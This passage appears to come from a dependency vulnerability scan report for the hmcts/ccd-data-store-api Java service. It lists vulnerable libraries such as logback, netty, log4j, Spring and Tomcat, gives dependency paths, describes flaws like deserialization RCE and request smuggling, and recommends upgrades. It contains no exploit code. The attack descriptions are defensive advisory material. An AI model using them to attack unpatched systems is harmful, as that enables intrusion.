    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.5.27 ch.qos.logback:logback-core@1.5.27
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data in HardenedObjectInputStream, whose resolveClass allowlist admitted any class whose name starts with java.lang or java.util rather than matching specific authorized classes. An attacker can instantiate dangerous classes such as java.lang.ProcessBuilder during deserialization, reaching remote code execution through a gadget chain, by delivering a malicious serialized object to a logback component that deserializes it, such as its socket receiver for serialized logging events (SocketNode). Exploitation requires the application to deserialize attacker-controlled serialized data through logback, in practice via its socket-based receiver, together with a usable gadget class on the classpath.

Workaround

This vulnerability can be avoided by not exposing logback's socket-based serialized receivers, such as SocketReceiver and ServerSocketReceiver, to untrusted networks, which removes the path by which attacker-controlled serialized objects reach the deserialization filter.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.33 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.3.5.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch due to the lack of TLS hostname verification in the SocketAppender component. An attacker can intercept or redirect log traffic by performing a man-in-the-middle attack if they are able to intercept or redirect network traffic between the client and the log receiver and can present a server certificate issued by a certification authority trusted by the configured trust store or the default Java trust store.

Workaround

This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.

Remediation

Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.59.Final or higher.

References

medium severity

Information Disclosure

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.

When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled. On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure. The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.

Remediation

Upgrade io.netty:netty-handler to version 4.1.59.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final
    Remediation: Upgrade to io.searchbox:jest@6.3.1.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up.

An additional case of this vulnerability was fixed in 4.1.61.Final (CVE-2021-21409).

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.60.Final or higher.

References

medium severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-openfeign-core@5.0.2 io.github.openfeign:feign-form-spring@13.6.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.34, 6.0.19, 6.1.6 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the accumulation of data in the HttpPostRequestDecoder. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, allowing for data to accumulate without limits.

An attacker can cause a denial of service by sending a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.108.Final or higher.

References

medium severity
new

Always-Incorrect Control Flow Implementation

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.22 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation due to the incomplete logging of the effective web.xml when special roles and empty authorization constraints are present. An attacker can bypass intended access restrictions by exploiting the absence of these constraints in the logged configuration.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.119, 10.1.56, 11.0.23 or higher.

References

medium severity
new

Improper Authorization

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.22 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Authorization due to the improper enforcement of security constraints in the default servlet when certain HTTP methods or method omissions are configured. An attacker can gain unauthorized access to protected resources by sending requests using HTTP methods that are not properly restricted.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.119, 10.1.56, 11.0.23 or higher.

References

medium severity
new

Incorrect Authorization

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the BeanDeserializer._deserializeUsingPropertyBased method, whose property-buffering branch omits the prop.visibleInView(activeView) check that the creator-property branch performs. An attacker can populate view-restricted setterless collection or map properties, such as admin-only fields, from untrusted JSON by supplying values for them during deserialization, bypassing @JsonView protection. This affects only setterless collection or map properties annotated with a restricted @JsonView and reached through the property-based creator path.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity
new

Incorrect Authorization

  • Vulnerable module: tools.jackson.core:jackson-databind
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the UnwrappedPropertyHandler.processUnwrappedCreatorProperties() method, which replays buffered JSON into creator parameters without consulting prop.visibleInView(activeView). An attacker can set view-restricted constructor parameters annotated with both @JsonView and @JsonUnwrapped, such as admin-only fields, from untrusted JSON by supplying them during deserialization while a more restrictive view is active, defeating the @JsonView write-side authorization boundary.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
